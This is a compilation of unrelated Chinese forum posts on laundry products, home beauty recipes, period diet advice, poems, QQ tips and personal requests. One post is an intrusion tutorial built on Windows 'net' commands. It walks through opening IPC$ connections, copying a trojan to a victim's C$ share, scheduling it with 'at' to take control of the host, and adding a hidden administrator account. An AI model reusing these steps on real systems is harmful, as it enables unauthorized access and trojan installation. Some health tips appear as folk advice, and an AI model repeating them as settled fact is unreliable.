物纤维之上，从而更难以洗净。洗衣液：不是洗衣粉的孪生姐妹同为洗衣产品，但洗衣液并非洗衣粉的“孪生姐妹”，从成分上讲，它们两者还是有较大差别的，90%以上的洗衣液标明“无磷”。相比较而言，洗衣液的溶解速度快，可使洗涤剂更充分地发挥作用，碱度相对洗衣粉来说比较低，性能比较温和，所以对皮肤的刺激也会更小。一般来说，pH值在7 7.5之间的中性洗衣液，性情温和，不易使织物掉色，但其代价是去污力偏低。所以中性洗衣液适合洗涤不太脏的衣物，如夏天每天换洗的衣服，羊毛、丝绸、亚麻等纯天然的衣物等。柔顺剂，助衣柔顺能几分？衣物柔顺剂，因添加了各种类型的表面活性剂，在减轻、消除静电之余，还能使织物变得柔软、蓬松。试验发现，衣物柔顺剂的使用效果会因不同的织物而异，例如某种柔顺剂对真丝织物的除静电效果明显，但其却对纯毛织物的效果表现一般。目前市场上出售的柔顺剂没有“全能冠军”。因此，在选购时，应依据待洗衣物的主要面料有针对性地选择。此外，使用柔顺剂也很讲究，比如，采用半自动洗衣机、全自动洗衣机、手洗等不同方式洗涤衣物时，柔顺剂的使用方法也不同。一般的，柔顺剂在包装上对操作步骤、用量大小等均有较详细的说明。在初次使用某种柔顺剂前，应仔细阅读产品说明的内容，需要特别说明的是，不能将柔顺剂直接倒在衣物上使用，这样有可能使衣物料脱色；同时，也不能将柔顺剂与普通衣物洗涤剂如肥皂、洗衣粉等同时使用。此外，还要注意用量，对柔顺剂而言，盲目加大用量，不仅于事无补，而且有时还会损害衣物、刺激皮肤。

礼物~~~ http://www.chinaswitch.com/caoka/jieri/christmas/大家去看看,都能收到一份礼物哦

?????给个说法我发那贴子咋没了?没违反啥吧规啊~给个说法吧

愤怒---->至所有司机今天下午放假回家，挤半天，终于坐上了26路公交车。车刚启动几分钟，忽然停了下来。抬头一看:一只可爱的棕色狗狗躺在路边~另一只黑色狗狗在路边无助的看着它~我当时真想把它抱起来，可车很快就启动了~在这只想提醒各位司机一声:动物和人一样，都有生命，都有自己的感情世界。当我们人类失去亲人时我们知道痛苦，动物也一样，它们有它们的感情世界。所以，当您在开车行使时，请关爱下那些无知的生命!!!

让QQ无法运行　在QQ的安装目录下新建一个文件或文件夹，将它命名为ws2_32.dll。然后运行QQ，选定你的QQ号码输入密码，猜猜会怎么样？如果你使用的是为QQ2000C系列的QQ，则QQ将无法启动，而且没有任何提示信息！如果使用的是版本号为QQ2000b系列的QQ，将会出现一个窗口，让你输入本地消息密码，有意思的是，无论你是否设置过本地消息密码，或者你输入的密码是否正确，都无法进入QQ，会一直让你输入不止。点击“取消”则退出登陆状态。

一些常用的Net命令与例子一些常用的Net命令与例子：（1）建立IPC连接的命令Net use \\IP\ipc$ “” /user:username例如：Net use \\127.0.0.1\ipc$ 123456 /user :administrator这个命令的意思就是与用户名为adminidtrator用户密码为123456的主机127.0.0.1建立ipc$空连接(2) 删除IPC$空连接Net use \\ip /del例如：Net use \\127.0.0.1 /del删除与主机127.0.0.1已经建立的Ipc$连接(3) 启动关闭服务：Net start //查看已经开启的服务Net start servernameNet stop servername例如：Net start telnet //开启telnet服务Net stop telnet //关闭telnet服务(4)启动关闭共享Net shate ipc$ //开启ipc$默认共享Net share ipc$ /del //关闭ipc$默认共享Net share c=c:\ //完全共享c盘Net share d=d:\ //删除完全共享的d盘(4) 映射硬盘Net use z: \\ip\c$例如：Net use z: \\127.0.0.1\c$ //把127.0.0.1的C盘映射成本机的z盘说明：映射成功后，你在我的电脑里面里面就会多出一个硬盘Z，其实Z就是127.0.0.1的C盘！Net use z: /del //断开映射入侵中的作用：把对方的硬盘映射过来以后我们就能直接复制文件到对方的硬盘下面了成功实现的条件：必须与对方建立ipc$连接(5) 远程复制文件_CopyCopy e:\3389.exe \\127.0.0.1\c$ \\将本地的E盘下的3389.exe这个文件copy到对方系统的C盘根目录下Copy在入侵中的作用：把本地文件复制到对方硬盘Copy复制成功所需的条件：必须与主机建立ipc$连接(6) 查看远程系统的时间Net time \\IPNet time \\127.0.0.1 //查看远程主机127.0.0.1的本地时间作用：得到对方时间好为自己计划任务种下木马做准备(7) 远程运行程序At \\ip time server.exeAt \\127.0.0.1 12:30 c:\server.exe \\让主机在中午12:30分运行我们已经复制到他C盘根目录下的木马server.exe在入侵中作用：这样我们就可以用我们的木马服务端来连接我们木马，，更好的使用图形方式来控制肉鸡.(推荐使用神气儿 ^_^)（8）添加管理员帐号：Net user juntuan 1234 /add \\添加一个密码为1234名字为军团的用户Net localgroup administrators juntuan /add \\把juntuan这个用户添加到管理员组注意：有些系统的管理员组不是administrators你要根据实际情况来改，不过99.9%的系统的管理员组还是administrators的。修改用户密码：Net user juntuan 1234 \\把用户juntuan的密码修改成1233。（9）远程登陆主机_telnettelnet IP port例如：telnet 127.0.0.1 1234 //连接登陆127.0.0.1的1234端口（当目标主机的端口是默认的23的时候我们不需要+端口即：telnet IP 就好）（10）传输文件命令_ftp其实这个我个人觉得用途不大，毕竟当你拿到了FTP密码之后你可以用flashftp或者cutftp有一个图形截面的交互如何不好呢？首先在CMD里面输入ftp然后输入：open IP port例如：open 127.0.0.1 1234 //连接登陆127.0.0.1的1234端口如何开启windows系统自带的ftp服务：Net start msftppsvc(11) 查看文件夹的属性_caclsCacls xiaod //查看xiaod这个文件夹的属性参数说明：F：（完全控制）R：（只读）C：（允许更改）W：（允许写入）N：（没有任何权限）(12) 删除文件_delDel是用来删除文件命令首先进入你想删除的文件的目录Del xiaod.txt //删除xiaod.txt这个个文件Del xiaod.txt /f //强制删除xiaod.txt这个个文件（当该文件无法正常删除的时候使用该命令）(13) finger命令Finger是一个信息刺探命令一般在对方开启了79端口时命令使用Finger –l user @computer参数详解： -l 用长列表格式显示消息

冬天到了,找个恋人来取暖吧~ 冬天到了,找个恋人来取暖吧~ 本姑娘特在这发贴,希望吧内的成员能来个"情侣速配"~0~ 规则很简单,吧内单身成员把联系方式和对"另一半"的要求发到此贴下,争取在最短的时间内找到你的意中人~ 最先找到意中人的有奖励哦~奖励就是本姑娘届时参加你们的婚礼~0~

冬天到了,找个恋人来取暖吧~ 冬天到了,找个恋人来取暖吧~本姑娘特在这发贴,希望吧内的成员能来个"情侣速配"~0~规则很简单,吧内单身成员把联系方式和对"另一半"的要求发到此贴下,争取在最短的时间内找到你的意中人~最先找到意中人的有奖励哦~奖励就是我回晋州时参加你们的婚礼~0~

晕那么长的名字谁能记住啊?

吧主进来下~ 有事向您请教，有空的话加我Q601452068记得注名

生活之最最深重的罪过——闲话最可怕的破坏者——害怕最严重的错误——放弃最令人满意的经历——先履行你的职责最有效的行动——思路清晰、判断正确最真诚的祝福——身体健康最大的笨蛋——欺骗自己的家伙最成功的投机——用事实代替希望生活中最铁定的事物——变化最大的喜乐——被需要最聪明的人——那个只做自己认为正确的事情的人最大的潜力——积极的思想最好的机会——下一次最大的胜利——战胜自己最严重的残障——自我中心主义最昂贵的放任——憎恨最危险的人物——说慌者最可笑的品性——妄自尊大最惨重的损失——失去自信最迫切的需要——常识

简单的生命曾经有人告诉我，樱花最美的时候，不是它开的如火如荼的艳丽时分，而是它即将死去之时，每一朵花细碎的花瓣都凋零于空中纷纷扬扬。　　樱花落的时候，最美。　　曾经有人告诉我，一个人最快乐的时候，不是在他终于得到了成功，在别人的羡慕与祝福中笑容灿烂，而是在失败的痛苦中找到自己的定位和方向。　　败而不言败的自信与努力的过程，最快乐。　　曾经有人告诉我，世界上最具感染力的笑容不是有着天使面容的女子的倾城一笑，而是一个几乎走投无路的人终于为家人谋到一份薪水微薄的工作时，那种舒心的笑容。　　感激生活的笑容，最具感染力。　　曾经有人告诉我，世界上自认为最绝望的女孩在想要自杀时被父母救下，父母告诉她，世界上最绝望的人不是自杀未遂的你，而是看着绝望的你痛心万分又无能为力的我们。　　因为爱的力量而衍生的黑暗，最绝望。　　所以生命是简单的，热爱和尊重生命，努力快乐，燃烧希望，温暖他人，掌握爱与被伤害的尺度，而无论何时，请带上感恩的微笑。　　有人说，这就是生命的意义。

新乡市里哪有卖毛线的? 新乡市里哪有卖毛线的啊?想织条围巾，可找不到卖毛线的地~

我住在麦子里我住在大地上，说准确些　　我住在大地上的一个村庄里　　再说准确些，我住在大地上　　一个村庄的一座粮仓里，再说准确些　　我住在大地的一个村庄的一座粮仓的　　一粒麦子里。我住在麦子里　　那个把麦子收回粮仓的人　　那个每年秋天把麦子种在地理的人　　那个守着麦子过冬的人　　那个春天和麦子一起开花的人　　那个把麦子做成面条和馒头喂养我　　一生一世的人，已经远远地离我而去了　　我忍住了悲伤，可是　　忍不住麦子里要发芽要扎根　　那个人走了　　留给我的大地把泪水　　凝成了露珠

回访~~~ 刘诺代表郭村吧回访

寻高手本人资质太低，关于PS的好多东西都看不懂，特发此贴，寻一师傅。最好经常在线的。有意者加Q601452068。

PS http://www.wzsky.net/html/Photo/Photoshop/102149.html

不让自己显示在彩虹QQ的隐身列表中登陆QQ后，首先点击头像，进入“个人设置”，然后选择“状态显示”这一栏，再看“显示我的地理位置”处，注意不管之前是否勾选了这一项都没有关系，如果勾选了的就把勾给去掉，没有勾选的把勾选上就行了，然后点击确定。这样对方就看不到你在隐身了，就这么简单！以后每次登陆ＱＱ时进行一次这样的操作就可以了，还有要注意的是不要重复操作，如果是重复操作就必须是奇数次，如果是偶数次对方仍然可以看到你在隐身，这个大家测试下就会明白了。(提示：当你不知道你是否在别人的隐身列表中的时候就先把ＱＱ的状态更改为“离线”，再隐身，然后再进行上述操作。我们关闭ＱＱ的时候也最好先将ＱＱ的状态更改为离线，这样就会万无一失)

10款化妆品千万别在网上买台湾生产的ZA台湾确实有生产ZA，但是绝对不是那些价格在专柜价格一半左右的所谓台版货，这个在淘宝美容居有非常多的帖子揭发过，ZA的造假是全方位全系列的，要辨别虽不是难事，但也绝不简单，这个牌子本来就是开架的平价货，何必为了几块钱去趟那趟浑水呢。

女性经期千万不要吃哪些水果？　经期不该多吃的食物　　刘医师指出，其实不只是吃冰，一些属性偏凉的食物，例如冰品、冬瓜、茄子、丝瓜、黄瓜、冬瓜、蟹、田螺、海带、竹笋、橘子、梨子、柚子、西瓜等等，及酸涩的食物，如酸梅、未成熟味酸之水果，或是一些辛热食品，如油炸物、辣椒、胡椒、芥末等等，也都应该避免在经期内食用，以免造成血液不流畅的状况。　　经期应该多吃的食物　　经期内应多吃葱白、木耳、花生、核桃、大枣、桂圆、玫瑰花。刘医师表示，若在经期内，不小心吃了冰冷的食物，或是忍不住吃了冰，可以多喝红糖煮生姜，来平衡体内血液循环，促使血液流畅。　　生活小提示　　除了冰品不宜在经期内食用外，女性在经期内，要特别注重保暖，避免受寒、涉水、淋雨、曝晒、及洗冷水澡，并应禁止房事、盆浴及游泳，保持外阴、内裤及卫生棉的清洁。　　中医反对女性经期内吃冰，西医则认为百无禁忌。亚东纪念医院妇产部主治医师周龙生指出，经血是子宫内膜的剥落，藉由子宫的收缩将经血排出，而吃冰时，肠胃的温度下降，影响到子宫收缩变差，经血较难排出，於是形成血块，子宫为将血块排出，只得加大收缩的力度，这是吃冰可能造成经痛的原因。　　但周医师表示，西医不排斥任何的食物，就连坐月子都可以吃冰，虽然吃冰可能因此导致子宫收缩造成经痛，但这些血块都可以经由身体体内机制而排出，女性可以不必过份担心。不过若因吃冰而有过度经痛的情形发生时，就应至妇产科检查是否有其他疾病的可能。

便宜地保持皮肤细腻 (1)蛋清美容法。将蛋壳里留下来的蛋清，收集在杯中，加一点面粉，如蛋清不多，可加点瓜汁，匀成糊状。晚上临睡时，先把脸洗净，将蛋糊涂在脸上，约30分钟后洗去。 (2)花粉美容法。将花粉加食盐溶于温水中，每日清晨和晚上用此水洗脸，边洗边按摩，对美容大有裨益。 (3)蜂蜜美容法。用蜂蜜加2～3倍水稀释后每日涂敷面容，可使皮肤光洁细嫩，如用燕麦片、蛋白加蜂蜜制成面霜使用，效果更佳。 (4)菜果美容法。将菜（果）绞榨取汁敷面，轻轻按摩十余分钟，再将汁洗去。根据季节不同，可选用胡萝卜、冬瓜、大白菜、甜菜、白薯、黄瓜、西红柿、柑桔、苹果、柠檬、梨等。 (5)茶糖美容法。将红茶叶和红糖各两汤匙加水煎，以面粉打基底调匀敷面，15分钟后再用湿毛巾擦净脸部。 (6)醋敷美容法。将醋和甘油以5:1的比例混合涂敷面部，每日坚持不懈；也可在洗脸水中加一汽匙醋，再换清水洗净。 (7)汽熏美容法，每日早晚洗脸后，用一深底碗或搪瓷缸装满热水，将头低垂其上，并用毛巾连头带碗一起蒙住，熏蒸10～15分钟。 (8)面霜美容法。用米粉或面粉加水合成面霜，每天将脸洗净后敷于脸上，并轻轻按摩，再在脸上贴上餐纸，吸去多余的水分。 (9)按摩美容法。两手指以前额正中为起点，向左右同时按摩十余次，然后从鼻翼两侧外展按摩十余次，再从嘴角顺下额外展按摩十余次，早晚两次。两手手掌合起摩擦，发热后在脸上做洗脸动作，数遍即可，每日早晚各一次，每次3～5分钟。用双手食指、中指尖在双侧鼻唇沟皱纹处上下轻压、滑动，连做20次，然后将整个手指面轻贴在皱纹上，向外轻轻滑动，使之展平，连做20次，可消除鼻唇沟皱纹。 (10)精神美容法。平时笑口常开。笑时，面部肌肉和皮肤血液循环加快，新陈代谢加强，有助于增强皮肤弹性.

天然护发方法番茄护发素在夏天，游泳时泳池水令发色变得枯黄暗哑，番茄能使黑发恢复原有的色泽，更可去除头发上多余的气味。材料：番茄1个做法：将番茄捣烂，或是用榨汁机将番茄打成糊状，加少量面粉，调制到喜欢的浓度。使用方法：清洁头发后，用毛巾把头发稍微抹干，再以番茄泥按摩到头皮及头发上。包上热毛巾并戴上浴帽，15-20分钟后再用温水冲洗干净。芒果护发素芒果所含有的丰富维生素和矿物质都能促进头皮和头发的健康，令头发长得更有光泽。材料：芒果一个，橄榄油1茶匙，新鲜柠檬汁2汤匙。做法：将芒果去皮去核捣烂，或用榨汁机将芒果打成糊状，在芒果泥里加入柠檬汁，搅拌均匀即可。使用方法：清洁头发后，用毛巾把头发稍微抹干，再以芒果泥按摩到头皮及头发。包上热毛巾并戴上浴帽，15-20分钟后，用温水冲洗干净。真正的天然护发素天然洗发水柑橘洗发水 ·材料： 1/4杯普通洗发水 2汤匙新鲜洗发水 1/2茶匙干的柑橘果皮（只取有颜色部份） ·制法：混合所有材料，然后慢慢加热，但不要煮沸，待混合物完全冷却后，滤除果皮，即可使用。尚未使用时，应将柑橘发水倒入有密封盖的干净瓶子里。 ·好处：新鲜的柠檬汁对头发有温和的漂白效果，而柑橘的香味则能令人感觉清凉，特别适合油性发质使用。啤酒洗发水 ·材料： 1杯啤酒 1杯普通洗发水 ·制法：将啤酒倒入平底锅中，以中火加热煮沸，直至啤酒减量成1/4杯为止，然后将啤酒倒入洗头水中混和，完成。 ·好处：令头发紧浓密、有光泽及弹性。蛋蛋洗发水材料： 1只生鸡蛋 1汤匙普通蛋蛋洗头水 ·制法：将生鸡蛋和洗头水混和，然后洗头，但紧记彻底冲洗至少1分钟，并且要用冷水，因为热水会令蛋汁变熟，粘在头发上。若混和好的洗头水不是实时使用，便需放入冰箱内保存。 ·好处: 可令头发保持浓密及亮泽。生发当归汁 ·材料： 4两当归 2碗水 ·制法：将材料一起煲至一半为止，然后将浓缩了的当归汁和洗头水一起使用。 ·好处：有促进毛发生长的功效，并可治疗头皮水肿。甜蜜蜜护发包 ·材料： 1/2杯蜂蜜(可随发长而增减) ·用法：洗头前，将蜂蜜倒于头发上，按摩头发，待20-30分钟后，用清水洗发。 ·好处：能使梳理不当及受损的头发恢复本色、湿润、浓密及光泽。橄榄油洗发水 ·材料： 1/2杯水 1/4杯橄榄油 1杯普通洗头水 ·制法：将所有材料混和成糊状，倒入有密封盖子的干净瓶子中，使用前先将瓶里的洗发水摇动至均匀，然后以冷水冲洗。 ·好处：橄榄油可调理及增加头发的韧性，若你属油性发质，可将橄榄油的分量减少。面粉护发膏 ·材料： 1杯面粉 1杯水 ·制法：将材料混和成糊状，并抹在干发上，让面糊顺着头发裹下来，待10-20分钟后，用冷水冲洗5-10分钟，然后用洗头水洗头。 ·注：切忌用热水，因热水会令面糊变硬，而难以洗清。好处：令头发更易梳理及光泽。天然护发素甘菊 ·制法：用2杯沸水浸泡1/4杯甘菊花，待冷却后滤除花瓣即可使用。 ·好处：持续使用一段时间后，可使头发颜色变淡，有天然染发作用，并可为金发增加光泽。西红柿汁 ·制法：将新鲜西红柿榨汁。 ·好处：可去除头发上的任可气味。柠檬汁 ·制法：将一个柠檬的汁液与一杯水混和。 ·好处：让暗哑的头发恢复生命力及光泽。啤酒 ·好处：用啤酒当护发素，可让头发更浓密。鼠尾草、熏衣草或肉桂 ·制法：用两杯沸水浸泡1/4杯的鼠尾草、熏衣草或肉桂，待冷却后，滤除渣屑即可使用。 ·好处：可令发色深浓

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